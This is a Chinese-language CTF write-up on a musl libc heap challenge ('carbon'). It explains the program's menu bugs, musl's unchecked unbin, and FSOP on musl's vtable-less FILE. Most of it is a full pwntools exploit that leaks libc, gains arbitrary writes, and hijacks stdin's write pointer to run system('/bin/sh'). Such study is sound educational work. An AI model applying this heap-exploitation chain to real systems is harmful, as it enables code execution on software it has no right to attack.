因为2021 强网杯出了一道musl pwn,然后找到了这个题目,一起学习学习。
运行程序的话首先要装musl的驱动
没有开pie。
刚开始先申请空间。
空间是可读可写的。
assign
最多申请16个chunk,我们有一次溢出的机会。
destory
都清干净了。
transform
就改一下里面的内容。
examine
就是输出,但是只能有一次机会。
程序读完我们来看看musl libc的内容。
musl libc 是一个专门为嵌入式系统开发的轻量级 libc 库,以简单、轻量和高效率为特色。有不少 Linux 发行版将其设为默认的 libc 库,用来代替体积臃肿的 glibc 。
题目作者对题目的分析以及对musl libc与glibc异同的分析
题目作者已经将题目分析的很清楚了,我们再稍微做一些赘述。
首先利用的是musl静态堆内存管理来泄露libc地址。因为静态堆利用的是libc跟程序的空闲段,所以我们只要知道了某个chunk的地址,就可以得到libc或者程序基地址。
因为我们注意到的就是unlink是没有检查的,当然在musl中叫unbin。利用唯一能够用的一次堆溢出,我们要做一个unbin。
利用unbin来获得任意地址写。
有了libc,有了任意写,因为没有malloc_hook,只能FSOP,又注意它的IO_FILE不大一样,没有vtable指针,所以在利用的时候也要多注意。
exp
#!/usr/bin/env python2
from pwn import *
p = process("./carbon")
def alloc(sz, ctx='n', ans='N'):
p.sendlineafter(">", '1')
p.sendlineafter("What is your prefer size? >", str(sz))
p.sendlineafter("Are you a believer? >", ans)
p.sendafter("Say hello to your new sleeve >", ctx)
def free(idx):
p.sendlineafter(">", '2')
p.sendlineafter("What is your sleeve ID? >", str(idx))
def edit(idx, ctx):
p.sendlineafter(">", '3')
p.sendlineafter("What is your sleeve ID? >", str(idx))
p.send(ctx)
def view(idx):
p.sendlineafter(">", '4')
p.sendlineafter("What is your sleeve ID? >", str(idx))
return p.recvuntil("Done.", True)
alloc(0x1, 'A') #0
libc_base = u64(view(0).ljust(8, 'x00')) - 0x292e41
info("libc base: 0x%x", libc_base)
stdin = libc_base + 0x292200
binmap = libc_base + 0x292ac0
brk = libc_base + 0x295050
bin = libc_base + 0x292e40
system = libc_base + 0x42688
# 1. construct fake chunks
alloc(0x10) #1
alloc(0x10) #2, prevent consolidation
alloc(0x10) #3
alloc(0x10) #4, prevent consolidation
alloc(0x10) #5
alloc(0x10) #6, prevent consolidation
alloc(0x10) #7
alloc(0x10) #8, prevent consolidation
free(1)
free(3)
payload = 'X' * 0x10
payload += p64(0x21) * 2 + 'X' * 0x10
payload += p64(0x21) + p64(0x20) + p64(stdin - 0x10) * 2
payload += p8(0x20)
payload += 'n'
alloc(0x10, payload, 'Y') #1
alloc(0x10) #3
free(1) # set as non-empty bin
edit(3, p64(binmap - 0x20) * 2)
alloc(0x10) #1
free(5) # set as non-empty bin
edit(3, p64(brk - 0x10) * 2)
alloc(0x10) #5
free(7) # set as non-empty bin
# 2. corrupt bin head and get arbitrary pointers
edit(3, p64(bin - 0x10) + p64(stdin - 0x10))
alloc(0x10) #7
alloc(0x50) #9
edit(3, p64(bin - 0x10) + p64(brk - 0x10))
alloc(0x10) #10
alloc(0x50) #11
edit(3, p64(bin - 0x10) + p64(binmap - 0x20))
alloc(0x10) #12
alloc(0x50) #13
# 3. corrupt stdin, binmap and brk
payload = "/bin/shx00" # stdin->flags
payload += 'X' * 0x20
payload += p64(0xdeadbeef) # stdin->wpos
payload += 'X' * 8
payload += p64(0xbeefdead) # stdin->wbase
payload += 'X' * 8
payload += p64(system) # stdin->write
edit(9, payload) # stdin
edit(11, p64(0xbadbeef - 0x20) + 'n') # brk
edit(13, 'X' * 0x10 + p64(0) + 'n') # binmap
# 4. get shell
p.sendlineafter(">", '1')
p.sendlineafter("What is your prefer size? >", '0')
p.interactive()
exp用的是人家师傅的exp
要解释几句。
exp中首先我们分成两个部分。
首先第一个部分我们要伪造chunk。
所以我们要利用unbin在stdin等地方一直写写写。
然后我们劫持mal.bins,通过哟unbin的任意写,我们做到了一个任意chunk的malloc。
然后控制brk stdin bitmap
控制bitmap是要让里面的值都为0,制造没有可用chunk的假象,从而调用brk分配chunk。
exp中不停的穿插着0x10大小chunk的释放,那只是要控制bitmap而已。